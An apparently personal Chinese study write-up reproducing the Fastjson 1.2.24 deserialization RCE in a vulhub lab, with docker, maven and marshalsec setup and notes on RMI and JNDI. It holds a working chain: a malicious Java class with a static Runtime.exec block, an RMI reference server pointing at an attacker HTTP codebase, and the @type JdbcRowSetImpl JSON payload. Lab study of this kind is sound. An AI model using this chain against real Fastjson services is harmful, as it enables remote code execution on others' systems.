依据vulhub/fastjson/1.2.24-rce/README.zh-cn.md at master · vulhub/vulhub进行复现
参考Java反序列化工具-marshalsec-腾讯云开发者社区-腾讯云进行
marven
|marshalsec
进行环境搭建
我理解的fastjson的面试回答
wocao我当时真不会啊简历那都是瞎写的,来电话的时候很突然直接就开始面试了没背面经,直接给了
原理就是依靠rmi来实现远程执行本地服务端(攻击机)的接口调(恶意治疗)命令
fastjson的性质就是阿里巴巴开发用来反序列化json文本成为java对象的一个中间件。为了记录原对象,序列化的json对象中会有一个@type的键值对,这个就是用来记录序列化前的对象用来定位。进一步利用就是在rmi/ladp这种远程资源调用的时候会返回一个reference,这里面传递的url是前端可控。那么根据fastjson的机制,这个远程资源将会被本地jvm加载,由于恶意payload中的恶意代码是使用static来进行,所以会直接运行。
fastjson实现的链(Gadget Chain)
- 发送json给fastjson进行反序列化
- 看到
@type
之后使用反射机制创建一个**com.sun.rowset.JdbcRowSetImpl
** 实例。 - 在使用
setter
设置属性的时候使用了setAutoCommit(true)
, 这个方法在内部代码逻辑上,强制调用了connect()
- 这就会读取
dataSourceName
属性并且使用JNDI来发起远程查询(当成数据库了) - RMI服务器返回一个恶意的Reference引用,根据java的自带逻辑会加载这个恶意类到jvm中,由于存在
static
属性,所以恶意类会被直接执行。
fastjson开始打靶
fastjson利用原理
参考文档:
Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客](https://blog.csdn.net/Bossfrank/article/details/130100893)
vulhub/fastjson/1.2.24-rce/README.zh-cn.md at master · vulhub/vulhub
fastjson
用于处理json
和java
对象之间的序列化和反序列化关系。
在进行序列化[java–>json]的时候,fastjson
主要是使用对象中的getting
来进行序列化,将实例对象的内容以字符串的形式添加入json中,这就导致了序列化之后的json能够保存对象的所有内容,但是不能保存对象的来源(也就是说不能够保存接口类),也就是说正常情况下一下两种 实例化对象序列化之后的内容是完全一样的,无法区分谁是谁:
1 | class Apple implements Fruit { |
为了解决这种问题,fastjson
使用SerializerFeature.WriteClassName
对序列化之后的内容进行标记,将@type
添加到序列化的json中来标识每个json的来源,以便反序列化的时候能够定位到具体的原始对象的setting
来重新进行反序列化生成新的java
对象,这个就是AutoType
,和引入AutoType
的原因。
实际上可以发现决定漏洞是否存在的就是这个AutoType
,在fastjson2
之后没有显式允许的时候不允许使用来提升安全性。
开始攻击
环境清单(详情见环境搭建)
- 靶机vulhub fastjson1.2.24-rce
- 攻击机:docker image: justrydeng/jdk8 + mvn + marshalsec
网络清单
网络连通性检查
由于
docker-compose
的网卡和默认run
启动的网卡不一样,所以需要手动联通一下1
sudo docker network ls
那么需要联通的就是网卡
1224-rce_default
和bridge
使用命令
1
sudo docker network connect 1224-rce_default jdk8
靶机:挨打,开放端口8090:8090 docker-compose专用网卡,同时互联到bridge网卡,保证能和攻击机互通
攻击机:保证内部互通的前提下
提供类的文件服务器
我直接放靶场环境下了,使用python http服务器提供,也就是虚拟机本体(非docker,必然可以实现连通)
攻击步骤
访问
ubuntu.vulhub:8090
,发送json实现修改json内容证明存在fastjson框架运行恶意类的文件服务器
1
python -m http.server
使用命令
javac TouchFile.java
来获得这个类TouchFile.class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successFrank"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}使用marshalsec启动一个rmi服务器指向恶意类的文件服务器
就是这个类marshalsec.jndi.RMIRefServer
启动的rmi服务器,并且把http://172.17.0.1:8000/#TouchFile
这个地址绑定到3000端口上1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.17.0.1:8000/#TouchFile" 3000
实际上这是marshalsec封装好了的代码.也可以自己写,可以更清楚的展现出对应的Reference调用的过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15package rce;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3000);
Reference reference = new Reference("TouchFile", "TouchFile", "http://172.17.0.1:8000/"); //类名/方法名/访问的http地址
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("colf", wrapper); //只要访问这个colf,就会被映射到上面的TouchFile上
}
}使用POST向靶机发送payload
1
2
3
4
5
6
7{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.19.0.3:3000/TouchFile",
"autoCommit":true
}
}
三方反应
恶意文件服务器
靶机
恶意类中构造的路径
/tmp/successFrank
攻击机
疑惑点
**Question1:**JNDI欺骗加载了类,为什么会执行?
利用
static
静态代码块,在 Java 规范中,当一个类被 JVM 首次加载和初始化时,JVM 会立即执行该类的所有 静态代码块 (static {}
),并且只执行一次。在TouchFile.java中是这样的,所以会直接执行
1
2public class TouchFile {
static {攻击payload中使用了
com.sun.rowset.JdbcRowSetImpl
,会调用connect()
会触发查询
在fastjson反序列化设置dataSourceName
和autoCommit
的时候会使用setter
,这个方法在内部代码逻辑上,强制调用了connect()
方法。而connect()
方法正是负责发起 JNDI 查询的地方。
根据JNDI标准,当收到的Reference
指向一个远程代码库的时候就会执行:连接-下载-加载到jvm中
当加载的时候,这个恶意代码就被执行了
攻击环境搭建
基本环境
使用docker来找一个jdk8的环境,这边找的是镜像: justrydeng/jdk8
使用命令搭建一个容器:
1
sudo docker run -it -p 3000:3000 --name jdk8 justrydeng/jdk8 /bin/bash
要是一个shell不够还需要一个,执行:
1
2docker ps #查找所有正在运行的容器
docker exec -it 容器名 /bin/bash容器中没有好用的网络工具和文本编辑工具,需要使用apt手动下载,由于之前设置了docker的代理,所以这里不需要考虑网络问题
安装maven(抄袭上文提到的博客)
Maven安装: https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
解压后复制文件目录到
/usr/local
, 修改文件setting.xml
1
2
3
4tar -xzvf apache-maven-3.6.3-bin.tar.gz
docker cp ./apache-maven-3.6.3-bin.tar.gz/ 容器名:/user/local # 复制到docker中
cd conf
nano setting.xml1
2ctrl+w : localRepository修改
<localRepository>/usr/local/apache-maven-3.6.3/repo</localRepository>1
2
3
4
5
6
7ctrl+W: mirror去掉注释修改
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>修改环境变量并且应用该修改的环境变量
1
2
3
4
5nano /etc/profile
# maven setting
export MAVEN_HOME=/usr/local/apache-maven-3.6.3
export PATH=$PATH:$MAVEN_HOME/bin1
source /etc/profile
测试是否部署成功
1
mvn -v
没成功, java环境有问题
然后就发现其实是骗你的,根本就没有文件夹
jdk1.8.0_191
,java直接就被安装在了/usr/local
重新配置环境变量
1
2
3
4# java setting
export JAVA_HOME=/usr/local
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH应用
1
source /etc/profile
成功
编译安装marshalsec
去github
上拉取,进入目录,执行编译命令
1 | mvn clean package-DskipTests |
本地会出现一个target/
路径,cd进去
这就对了,然后就可以坐等开饭了
知识回顾
666忘记什么是interface接口了
java中interface接口不定义具体内容 只是规定必要的方法,而继承的类可以定义自己的方法
1 | public interface CanSwim { |
1 | // 鸭子类实现了 CanSwim 接口 |
rmi(真不会啊 学习一下)
有点像JavaScript的rpc
远程调用实现
存在三方: 服务端, 注册中心(通常和服务端在一台设备,但是不是一个应用),客户端
客户端只有接口但是没有具体的实现类, 服务端有具体的接口实现类, 客户端通过注册中心在服务端上执行命令(可能返回,但是具体类的方法实现还是在服务端进行的)
服务端的前提: 绑定(create)一个注册中心 + 把实现类绑定到注册中心
1
2Registry registry = LocalRegistry.createRegistry(1099)
registry.rebind("calc", UnicastRemoteObject.exportObject(calc,0)客户端前提: 用本地的注册中心去获取远程的注册中心
1
2
3
4Registry registry = LocalRegistry.getRegistry("remoteip",1099)
Remote calc = registry.lookup("calc") //获取远程实现类放到本地.但是应该定义成本地已知的接口类型
// 也就是这样
Calc calc = (Calc) registry.lookup("calc")
JNDI
注入
JNDI
: The java Naming and Directory Interface java密码和目录接口,是一组在java应用中访问命名和目录服务器的API,在目录中记录了许多资源的位置,允许用户通过名称去访问。也就是说,
JNDI
的出现允许用户通过一个统一的接口去查找和访问各种远程资源,能够用来定位:用户、网络、机器、对象和服务器等各种资源。比如局域网上一台打印机,数据库服务或者一个远程JAVA对象
- RMI
- LDAP
- DNS
后端漏洞条件
ladp
只要这个url是可以控的(前端传过去的),并且执行了
lookup
方法1
2
3
4
5
6
7
8
9
10import javax.naming.InitialContext;
import javax.naming.NamingException;
public class App{
public static void main(String[] args) throws NamingException{
String url = "ladp:http://127.0.0.1:7777/ExploitObject";
InitialContext initialContext = new InitialContext();
initiakContext.lookup(url);
}
}rmi漏洞成因(实际上上面的ladp也差不多)